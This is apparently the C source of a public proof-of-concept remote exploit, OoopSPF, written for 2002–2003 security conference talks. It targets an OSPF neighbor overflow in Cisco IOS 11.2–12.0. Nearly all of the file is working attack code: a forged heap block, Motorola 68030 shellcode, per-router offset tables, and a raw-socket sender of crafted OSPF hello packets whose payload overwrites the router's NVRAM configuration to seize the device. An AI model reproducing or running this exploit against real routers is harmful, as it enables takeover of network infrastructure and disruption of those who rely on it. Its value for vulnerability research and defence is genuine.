/* Cisco IOS IO memory exploit prove of concept 
 * by FX of Phenoelit <fx@phenoelit.de>
 * http://www.phenoelit.de
 *
 * For: 
 * 	19C3 Chaos Communication Congress 2002 / Berlin
 * 	BlackHat Briefings Seattle 2003
 * 
 * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
 * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
 * structure (small buffer header). The attached program is a PoC to exploit 
 * this vulnerability by executing "shell code" on the router and write the 
 * attached configuration into NVRAM to basicaly own the router. 
 *
 * Example:
 * linux# gcc -o OoopSPF OoopSPF.c 
 * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
 * 	-f ./small.config -t 0 -a 1.2.3.4 -vv
 *
 * You can see if it worked if a) the router does not crash and b) the output of 
 * "show mem io" looks like this:
 * E40E38      264 E40D04   E40F6C     1                  31632D8   *Packet Data*
 * E40F6C      264 E40E38   E410A0     1                  31632D8   *Packet Data*
 * E410A0      264 E40F6C   E411D4     1                  31632D8   *Packet Data*
 * E411D4  1830400 E410A0   0          0  0       E411F8  808A8B8C  [PHENOELIT]
 *
 * Exploit has to be "triggered". In LAB environment, go to the router and say
 * box# conf t
 * box(config)# buffers small perm 0
 *
 * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
 *   Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
 *   Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
 *
 * $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <time.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

#define IPTTL			0x80
#define BLABLA			"Phenoelit OoopSPF\n" \
				" Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
				" (C) 2002/2003 - FX of Phenoelit <fx@phenoelit.de>\n" 
#define IPPROTO_OSPF    0x59
#define IP_ADDR_LEN     4
typedef struct {
        u_int8_t        ihl:4,          /* header length */
                        version:4;      /* version */
        u_int8_t        tos;            /* type of service */
        u_int16_t       tot_len;        /* total length */
        u_int16_t       id;             /* identification */
        u_int16_t       off;            /* fragment offset field */
        u_int8_t        ttl;            /* time to live */
        u_int8_t        protocol;       /* protocol */
        u_int16_t       check;          /* checksum */
        struct in_addr  saddr;
        struct in_addr  daddr;          /* source and dest address */
} iphdr_t;

typedef struct {
    u_int8_t    version                 __attribute__ ((packed));
    u_int8_t    type                    __attribute__ ((packed));
    u_int16_t   length                  __attribute__ ((packed));
    u_int8_t    source[4]               __attribute__ ((packed));
    u_int8_t    area[4]                 __attribute__ ((packed));
    u_int16_t   checksum                __attribute__ ((packed));
    u_int16_t   authtype                __attribute__ ((packed));
    u_int8_t    authdata[8]             __attribute__ ((packed));
} ospf_header_t;

typedef struct {
    u_int8_t    netmask[4]              __attribute__ ((packed));
    u_int16_t   hello_interval          __attribute__ ((packed));
    u_int8_t    options                 __attribute__ ((packed));
    u_int8_t    priority                __attribute__ ((packed));
    u_int8_t    dead_interval[4]        __attribute__ ((packed));
    u_int8_t    designated[4]           __attribute__ ((packed));
    u_int8_t    backup[4]               __attribute__ ((packed));
} ospf_hello_t;


//
// Target definitions 
//

typedef struct {
    char	*description;
    int		n_neig;
    int		data_start;
    u_int32_t	blockbegin;
    u_int32_t	prev;
    u_int32_t	nop_sleet;
    u_int32_t	stack_address;
    u_int32_t	iomem_end;
} targets_t;

targets_t	targets[] = {
    { // #0 Phenoelit labs 2503 
	"2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
	256,		// # of neighbor announcements 
	0xe5, 		// data start
	0xE411D4,	// block begin
	0xE410B4,	// PREV
	6,		// nop_sleet after FAKE BLOCK
	0x079B48,	// Check heaps stack PC
	0x00FFFFFF	// IO mem end
    },
    { // #1 Phenoelit labs 2501 
	"2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
	256,		// # of neighbor announcements 
	0xe5, 		// data start
	0x00E31EA4,	// block begin
	0x00E31D84,	// PREV
	6,		// nop_sleet after FAKE BLOCK
	0x00079918,	// Check heaps stack PC (using IOStack.pl)
	0x00FFFFFF	// IO mem end
    }
};

#define TARGETS (sizeof(targets)/sizeof(targets_t)-1)

//
// NVRAM header structure
//

typedef struct {
    u_int16_t   magic                   __attribute__((packed));
    u_int16_t   one                     __attribute__((packed));
    u_int16_t   checksum                __attribute__((packed));
    u_int16_t   IOSver                  __attribute__((packed));
    u_int32_t   unknown                 __attribute__((packed));
    u_int32_t   ptr                     __attribute__((packed));
    u_int32_t   size                    __attribute__((packed));
} nvheader_t;

//
// FAKE BLOCK definitions
//

typedef struct {
    u_int32_t	redzone		__attribute__((packed));
    u_int32_t	magic		__attribute__((packed));
    u_int32_t	pid		__attribute__((packed));
    u_int32_t	proc		__attribute__((packed));
    u_int32_t	name		__attribute__((packed));
    u_int32_t	pc		__attribute__((packed));
    u_int32_t	next		__attribute__((packed));
    u_int32_t	prev		__attribute__((packed));
    u_int32_t	size		__attribute__((packed));
    u_int32_t	refcnt		__attribute__((packed));
    u_int32_t	pad1		__attribute__((packed));
    u_int32_t	freemagic	__attribute__((packed));
    u_int32_t	lastdealloc	__attribute__((packed));
    u_int32_t	pad2		__attribute__((packed));
    u_int32_t	pad3		__attribute__((packed));
    u_int32_t	free_next	__attribute__((packed));
    u_int32_t	free_prev	__attribute__((packed));
} block_t;

char		fakeblock[] =
        "\xFD\x01\x10\xDF"      // RED
        "\xAB\x12\x34\xCD"      // MAGIC
        "\xFF\xFF\xFF\xFF"      // PID
        "\x80\x81\x82\x83"      // PROC
        "\x00\xE4\x12\x00"      // NAME	(Message)
        "\x80\x8a\x8b\x8c"      // PC
	"\x00\x00\x00\x00"      // NEXT (no following block)
        "\x00\xE4\x10\xB4"      // PREV (correct for 0xE411d4)
	"\x00\x0D\xF7\x02"      // Size CORRECT for 0xE411D4
        "\x00\x00\x00\x00"      // Reference count
        "\x00\x00\x00\x00"      // PADDING
        "\xDE\xAD\xBE\xEF"      // FREE MAGIC
	"[PHE"			// last delocator
	"NOEL"			// PADDING
	"IT]\x00"		// PADDING
	"\x00\xE4\x12\x20"	// FREE NEXT in our block
	"\x00\x07\x9B\x48"	// FREE PREV (Check heaps stack PC)
	;
block_t		*bpatch = (block_t*)fakeblock;

//
// Cisco code for M68030 CPU and 2500 NVRAM layout
//
char		ccode[] =
        "\x46\xFC\x27\x00"              //movew #9984,%sr (0x00E41220)
        "\x43\xFA\x00\x48"              //lea %pc@(4e <config>),%a1 (0x00E41224)
        "\x24\x7C\x02\x00\x00\x06"      //moveal #33554438,%a2 (0x00E41228)
        "\xB3\x81"                      //eorl %d1,%d1 (0x00E4122E)
        "\x74\x01"                      //moveq #1,%d2 (0x00E41230)
        "\x22\x3C\x01\x01\x01\x01"      //movel #16843009,%d1 (0x00E41232)
        "\x14\xD9"                      //moveb %a1@+,%a2@+ (0x00E41238)
        "\x32\x3C\xFF\xFF"              //movew #-1,%d1 (0x00E4123A)
        "\x93\x42"                      //subxw %d2,%d1 (0x00E4123E)
        "\x6B\x00\xFF\xFC"              //bmiw 1e <write_delay> (0x00E41240)
        "\x0C\x91\xCA\xFE\xF0\x0D"      //cmpil #-889262067,%a1@ (0x00E41244)
        "\x66\x00\xFF\xEC"              //bnew 18 <copy_config> (0x00E4124A)
        "\x14\xFC\x00\x00"              //moveb #0,%a2@+ (0x00E4124E)
        "\x32\x3C\xFF\xFF"              //movew #-1,%d1 (0x00E41252)
        "\x93\x42"                      //subxw %d2,%d1 (0x00E41256)
        "\x6B\x00\xFF\xFC"              //bmiw 36 <write_delay2> (0x00E41258)
        "\xB5\xFC\x02\x00\x07\x00"      //cmpal #33556224,%a2 (0x00E4125C)
        "\x6D\x00\xFF\xEA"              //bltw 2e <delete_config> (0x00E41262)
        "\x22\x7C\x03\x00\x00\x60"      //moveal #50331744,%a1 (0x00E41266)
        "\x4E\xD1"                      //jmp %a1@ (0x00E4126C)

    ;

char		terminator[]	= "\xCA\xFE\xF0\x0D";
char		nop[] 		= "\x4E\x71";

//
// Global variables to pass the current buffer location to the 
// OSPF packet generator function
//
int 		payloadc=0;
char		*payload=NULL;
// packet counter (global)
unsigned int 	pc=0;


//
// Configuration
//
struct {
    int			verbose;
    char		*device;
    struct in_addr	*target;
    u_int32_t		src_net;
    u_int32_t		src_mask;
    u_int32_t		area;
    int			directed;
    int			test_only;

    // fake block constants
    int			n_neig;
    int			data_start;
    u_int32_t		blockbegin;
    u_int32_t		prev;
    u_int32_t		nop_sleet;
    u_int32_t		stack_address;
    u_int32_t		iomem_end;

    // other stuff 
    char		*filename;
    int			target_sel;
} cfg;


u_char	*construct_ospf(struct in_addr *dd, struct in_addr *src,
	u_int16_t autosys, int *psize);
int	init_socket_IP4(int broadcast);
int     sendpack_IP4(int sfd, u_char *packet,int plength);
u_int16_t chksum(u_char *data, unsigned long count);
void    *smalloc(size_t size);
void	hexdump(unsigned char *bp, unsigned int length);
void	usage(char *s);

int main(int argc, char **argv) {
    char	option;
    extern char	*optarg;
    int		sfd;

    unsigned int	i=0;
    u_int32_t		countip=20;

    /* confg file */
    int                 fd;
    struct stat         sb;

    u_char              *buffer;
    u_char              *p;
    nvheader_t          *nvh;
    unsigned int        len;
    u_int16_t           cs1;
    
    // final overflow
    char		*overflow;
    int			osize=0;

    
    printf(BLABLA);

    memset(&cfg,0,sizeof(cfg));
    while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))!=EOF) {
	switch (option) {
	    case 'v':	cfg.verbose++;
			break;
	    case 'D':	cfg.directed++;
			break;
	    case 'T':	cfg.test_only++;
			break;
	    case 'd':	cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr));
			if (inet_aton(optarg,cfg.target)==0) {
			    fprintf(stderr,"Your destination is bullshit\n");
			    return (1);
			}
			break;
	    case 's':	if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) {
			    fprintf(stderr,"Your source net is wrong\n");
			    return (1);
			}
			break;
	    case 'n':	if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) {
			    fprintf(stderr,"Your source mask is wrong\n");
			    return (1);
			}
			break;
	    case 'L':	cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10);
			break;
	    case 'F':	cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16);
			break;
	    case 'f':	cfg.filename=(char *)smalloc(strlen(optarg)+1);
			strcpy(cfg.filename,optarg);
			break;
	    case 't':	cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10);
			if (cfg.target_sel>TARGETS) {
			    fprintf(stderr,"Target number unknown\n");
			    return (1);
			}
			break;
	    case 'S':	cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10);
			break;
	    case 'a':	if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) {
			    fprintf(stderr,"Your area doesn't make sense.\n");
			    return (1);
			}
			break;
	    default:	usage(argv[0]);
	}
    }

    if (cfg.target_sel>TARGETS) {
	fprintf(stderr,"Error: user too stupid (check -t)\n");
	return (-1);
    }
    if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig;
    if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start;
    if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin;
    if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev;
    if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet;
    if (cfg.stack_address==0) cfg.stack_address=targets[cfg.target_sel].stack_address;
    if (cfg.iomem_end==0) cfg.iomem_end=targets[cfg.target_sel].iomem_end;

    //
    // Check the parameters and set up a socket
    //
    cfg.src_net=cfg.src_net&cfg.src_mask;

    if ( (cfg.src_net==0)||(cfg.src_mask==0)
	    ||(cfg.filename==NULL)||(cfg.target==NULL)) {
	usage(argv[0]);
    }

    if ((sfd=init_socket_IP4(1))<1) {
	fprintf(stderr,"Could not get a socket for you\n");
	return (-1);
    }

    //
    // Get some info back to the user if he requested verbose
    //
    if (cfg.verbose) {
	if (cfg.directed) 
	    printf("\twith unicast target %s\n",inet_ntoa(*cfg.target));
	else 
	    printf("\twith default destination addresses\n");
	printf("\twith source network %s/",
		inet_ntoa(*(struct in_addr*)&(cfg.src_net)));
	printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask)));
        printf("Using Target: %s\n",targets[cfg.target_sel].description);
	printf( "\t# of neighbors: %u\n"
		"\tdata start    : %u\n"
		"\tBlock address : 0x%08X\n"
		"\tPREV pointer  : 0x%08X\n"
		"\tNOP sleet     : %u\n"
		"\tStack address : 0x%08X\n"
		"\tIO Memory end : 0x%08X\n",
		cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev,
		cfg.nop_sleet,cfg.stack_address,cfg.iomem_end);
    }

    //
    // Patch the fake block with the new values
    //
    bpatch->prev=htonl(cfg.prev);
    bpatch->size=htonl(
	    (cfg.iomem_end
	    -39 // minus block header in bytes - 1
	    -cfg.blockbegin) / 2);
    bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */
	    +((sizeof(nop)-1)*cfg.nop_sleet));
    bpatch->free_prev=htonl(cfg.stack_address);
    bpatch->name=htonl(cfg.blockbegin+44);

    /* 
     * Load Config
     * - load into buffer
     * - prepare NVRAM header
     * - calculate checksum
     * -> *buffer contains payload
     */
    if (cfg.filename==NULL) return (-1);
    if (stat(cfg.filename,&sb)!=0) {
        fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
        return (-1);
    }

    if ((fd=open(cfg.filename,O_RDONLY))<0) {
        fprintf(stderr,"Could not open() file %s\n",cfg.filename);
        return (-1);
    }

    len=sb.st_size;
    if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
        fprintf(stderr,"Malloc() failed\n");
        return (-1);
    }
    memset(buffer,0,len+sizeof(nvheader_t)+10);

    p=buffer+sizeof(nvheader_t);
    if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
    close(fd);

    // pad config so it is word bound for the 0xcafef00d test
    if ((len%2)!=0) {
	strcat(p,"\x0A");
	len++;
	if (cfg.verbose) printf("Padding config by one\n");
    }

    nvh=(nvheader_t *)buffer;
    nvh->magic=htons(0xABCD);		
    nvh->one=htons(0x0001);		// is always one 
    nvh->IOSver=htons(0x0B03);		// IOS version
    nvh->unknown=htonl(0x00000014);	// something, 0x14 just works
    nvh->ptr=htonl(0x000D199F);		// config end ptr 
    nvh->size=htonl(len);

    cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
    if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
    nvh->checksum=cs1;

    //
    // Put the overflow together
    //
    // (1) calculate size of the whole thing
    osize=sizeof(fakeblock)-1+
	  (cfg.nop_sleet * (sizeof(nop)-1))+
	  sizeof(ccode)-1+
	  sizeof(nvheader_t)+
	  len+
	  sizeof(terminator)-1;
    if ((osize/4)>cfg.data_start) {
	fprintf(stderr,"ERROR: The whole thing is too large!\n");
	return (-1);
    } else {
	printf("Using %u out of %u bytes (overflow: %u bytes)\n",
		osize,cfg.data_start*4,cfg.n_neig*4);
    }
    //
    // adjust osize ot be 4byte bound
    //
    if ((osize%4!=0)) osize+=osize%4;
    overflow=smalloc(osize);

    //
    // (2) copy the fakeblock in the buffer
    //
    memcpy(overflow,fakeblock,sizeof(fakeblock)-1);
    p=(void *)overflow+sizeof(fakeblock)-1;

    //
    // (3) Add NOPs to the buffer
    //
    for (i=0;i<cfg.nop_sleet;i++) {
	memcpy(p,nop,sizeof(nop)-1);
	p+=sizeof(nop)-1;
    }

    //
    // (4) Add the ccode
    //
    memcpy(p,ccode,sizeof(ccode)-1);
    p+=sizeof(ccode)-1;

    //
    // (5) Add the NVRAM structure and config
    //
    memcpy(p,buffer,len+sizeof(nvheader_t));
    p+=len+sizeof(nvheader_t);

    //
    // (6) finish off with terminator
    //
    memcpy(p,terminator,sizeof(terminator)-1);

    if (cfg.verbose>1) hexdump(overflow,osize);
    if (cfg.test_only) return (0);

    payload=overflow+(osize-4);
    payloadc=osize;

    // *************************
    // PERFORM THE OVERFLOW
    // *************************
    for (i=0;i<cfg.n_neig;i++) {
	u_char		*pack;
	int		plen;
	u_int32_t	uip;

OwnHostException:
	countip++;
	uip=htonl(countip);
	uip=uip&(~cfg.src_mask);
	uip=uip|cfg.src_net;

	if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) {
	    if (cfg.verbose>2) 
		printf("-- Skipping %s\n",inet_ntoa(*(cfg.target)));
	    else {
		printf("*"); fflush(stdout);
	    }
	    goto OwnHostException;
	}

	if (cfg.verbose>2)
	    printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip)));
	else {
	    printf("."); fflush(stdout);
	}

	// Make and send OSPF
	pack=construct_ospf(cfg.target,
		(struct in_addr *)&uip,0,&plen);
	sendpack_IP4(sfd,pack,plen);
	free(pack);

	if (cfg.verbose>2) printf("\n");
	usleep(1);
    }

    close(sfd);
    printf("\n");

    return 0;
}

u_char	*construct_ospf(struct in_addr *dd, struct in_addr *src,
	u_int16_t autosys, int *psize) {
    u_char			*tpacket;
    iphdr_t			*iph;
    u_int16_t			cs;		/* checksum */
    char			all_ospf[]="224.0.0.5";
    ospf_header_t       	*ospfh;
    ospf_hello_t        	*ohelo;

    *psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t);
    tpacket=(u_char *)smalloc(*psize
	    +3 /* for my checksum function, which sometimes 
		  steps over the mark */
	    );

    // IP packet
    iph=(iphdr_t *)tpacket;

    iph->version=4;
    iph->ihl=sizeof(iphdr_t)/4;

    iph->tot_len=htons(*psize);
    iph->ttl=IPTTL;
    iph->protocol=IPPROTO_OSPF;

    memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN);
    if (!cfg.directed)
	inet_aton(all_ospf,(struct in_addr *)&(iph->daddr));
    else
	memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN);

    // OSPF header
    ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t));
    ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t));
    ospfh->version=2;
    ospfh->type=1;
    ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_hello_t));
    memcpy(&(ospfh->area),&(cfg.area),4);

    // Increment the packets sent
    pc++;

    // 
    // If we are in the range of the whole overflow thingy, copy the appropriate
    // 4 bytes into the source address in the OSPF header
    //
    if ( (pc <= cfg.data_start) && 
	      (pc > cfg.data_start-(payloadc/4) ) ) {
	memcpy(&(ospfh->source),payload,IP_ADDR_LEN);
	payload-=4;
    }
    // 
    // well, we are not in there, so we set it to some value
    //
    else {
	ospfh->source[0]=0xCA;
	ospfh->source[1]=0xFE;
	ospfh->source[2]=0xBA;
	ospfh->source[3]=0xBE;
    }

    // be verbose
    if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned int*)&(ospfh->source))));

    // compile the rest of the packet
    memcpy(&(ohelo->netmask),&(cfg.src_mask),4);
    ohelo->hello_interval=htons(10);
    ohelo->options=0x2;
    ohelo->priority=2;
    ohelo->dead_interval[3]=40;
    memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);

    cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t));
    ospfh->checksum=cs;

    return tpacket;
}

// Dirty stuff from IRPAS
int init_socket_IP4(int broadcast) {
    int                 sfd;
    int			t=1;

    if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
        perror("socket()");
        return(-1);
    }

    /* make a broadcast enabled socket if desired */
    if (broadcast) {
        if (setsockopt(
                    sfd,SOL_SOCKET,SO_BROADCAST,
                    (void *)&t,sizeof(int)) != 0) {
            perror("setsockopt");
            return (-1);
        }
    }
    return sfd;
}

int     sendpack_IP4(int sfd, u_char *packet,int plength) {
    struct sockaddr_in  sin;
    iphdr_t             *iph;

    iph=(iphdr_t *)packet;

    memset(&sin,0,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;
    sin.sin_port=htons(0);
    memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr));

    if (sendto(sfd,packet,plength,0,
                (struct sockaddr *) &sin,
                sizeof(struct sockaddr_in)) <=0) {
        perror("sendto()");
        return(-1);
    }

    return 0;
}


u_int16_t chksum(u_char *data, unsigned long count) {
    u_int32_t           sum = 0;
    u_int16_t           *wrd;

    wrd=(u_int16_t *)data;
    while( count > 1 )  {
        sum = sum + *wrd;
        wrd++;
        count -= 2;
    }

    if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8);
    while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
    return (~sum);
}

void    *smalloc(size_t size) {
    void        *p;

    if ((p=malloc(size))==NULL) {
        fprintf(stderr,"smalloc(): malloc failed\n");
        exit (-2);
    }
    memset(p,0,size);
    return p;
}


// /dirty 



/* A better version of hdump, from Lamont Granquist.  Modified slightly
 * by Fyodor (fyodor@DHP.com) 
 * obviously stolen by FX from nmap (util.c)*/
void hexdump(unsigned char *bp, unsigned int length) {

  /* stolen from tcpdump, then kludged extensively */

  static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";

  register const u_short *sp;
  register const u_char *ap;
  register u_int i, j;
  register int nshorts, nshorts2;
  register int padding;

  printf("\n\t");
  padding = 0;
  sp = (u_short *)bp;
  ap = (u_char *)bp;
  nshorts = (u_int) length / sizeof(u_short);
  nshorts2 = (u_int) length / sizeof(u_short);
  i = 0;
  j = 0;
  while(1) {
    while (--nshorts >= 0) {
      printf(" %04x", ntohs(*sp));
      sp++;
      if ((++i % 8) == 0)
        break;
    }
    if (nshorts < 0) {
      if ((length & 1) && (((i-1) % 8) != 0)) {
        printf(" %02x  ", *(u_char *)sp);
        padding++;
      }
      nshorts = (8 - (nshorts2 - nshorts));
      while(--nshorts >= 0) {
        printf("     ");
      }
      if (!padding) printf("     ");
    }
    printf("  ");

    while (--nshorts2 >= 0) {
      printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
      ap += 2;
      if ((++j % 8) == 0) {
        printf("\n\t");
        break;
      }
    }
    if (nshorts2 < 0) {
      if ((length & 1) && (((j-1) % 8) != 0)) {
        printf("%c", asciify[*ap]);
      }
      break;
    }
  }
  if ((length & 1) && (((i-1) % 8) == 0)) {
    printf(" %02x", *(u_char *)sp);
    printf("                                       %c", asciify[*ap]);
  }
  printf("\n");
}

void usage(char *s) {
    int		i;

    fprintf(stderr,"Usage: \n"
	    "%s -s <src net> -n <src mask> -d <target rtr ip> -f <file>"
		" -t <targ#>\n"
	    "Options:\n"
	    "-s <src net>  Use this network as source (as in target config)\n"
	    "-n <src mask> Use this netmask as source (as in target config)\n"
	    "-d <target>   This is the target router interface IP\n"
	    "-f <file>     Use this as the new config for the router\n"
	    "-t #          Use this target value set (see below)\n"
	    "-a <area>     Use this OSPF area\n"
	    "-v            Be verbose (-vv or -vvv recommended)\n"
	    "-D            Directed attack (unicast) for 11.x targets\n"
	    "-T            Test only - don't send\n"
	    " --- barely used options ---\n"
	    "-L #          Number of neighbors to announce (overflow size)\n"
	    "-F #          Start of data (seen reverse to overflow)\n"
	    "-S #          NOP sleet\n"
	    "\n"
	    "Known targets:\n"
	    ,s);
    
    for (i=0;i<=TARGETS;i++) 
	fprintf(stderr,"\t%s\n",targets[i].description);

    exit (1);
}